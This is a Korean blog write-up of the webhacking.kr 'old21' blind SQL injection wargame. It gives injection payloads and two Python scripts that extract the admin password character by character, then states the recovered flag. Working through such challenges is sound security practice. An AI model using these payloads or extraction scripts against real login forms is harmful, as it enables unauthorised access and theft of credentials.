WarGame/webhaking.kr
webhacking.kr - old21
m0nd2y
2021. 3. 25. 12:48
해당 문제를 접속하면 처음부터 bsqli 이라고 알려줍니다.
id = admin
pw = admin
을 입력해보면
login fail 이라고 뜹니다.
그럼 sqli 구문을 사용해보면
id = admin
pw = 1'or'1=1'-- -
쿼리가 참이면 wrong password
id = admin
pw = 1'and''1=2'-- -
쿼리가 거짓이면 login fail을 출력하는 것 같습니다 :)
따라서 pw의 문자열의 길이를 구하는 payload를 작성하고,
id = admin
pw = 1' or length(pw)=36 and '1=1'-- -
36자리인 것을 확인할 수 있고,
실제 password를 구하는 payload를 작성합니다.
one.py(뒤에서부터구함)
import requests
import string
url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw="
password = ""
for j in range(1, 37) :
i = 133
while(1) :
URL = url + "1\' or ascii(substr(pw," + str(j) + ", 1)) = " + str(i) + " and \'1=1\'-- -"
print(URL)
response = requests.get(URL)
if "wrong password" in response.text :
print("[+] " + str(j) + "th password is " + str(chr(i)))
password += str(chr(i))
print("now password = " + password)
break
i = i-1
위와 같이 실행하면
two.py(앞에서부터 구함)
import requests
import string
url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw="
password = ""
for j in range(1, 37) :
i = 33
while(1) :
URL = url + "1\' or ascii(substr(pw," + str(j) + ", 1)) = " + str(i) + " and \'1=1\'-- -"
print(URL)
response = requests.get(URL)
if "wrong password" in response.text :
print("[+] " + str(j) + "th password is " + str(chr(i)))
password += str(chr(i))
print("now password = " + password)
break
i = i+1
one.py 결과물 : tuest_is_no_rest_for_the_white_angel
two.py 결과물 : ghere_is_no_rest_for_the_white_angel
왜 이렇게 두개 값이 다른지는 모르겠는데(pw가 아닌게 걸리는지)
두개를 조합해보면 아래와 같다.
password : "there_is_no_rest_for_the_white_angel"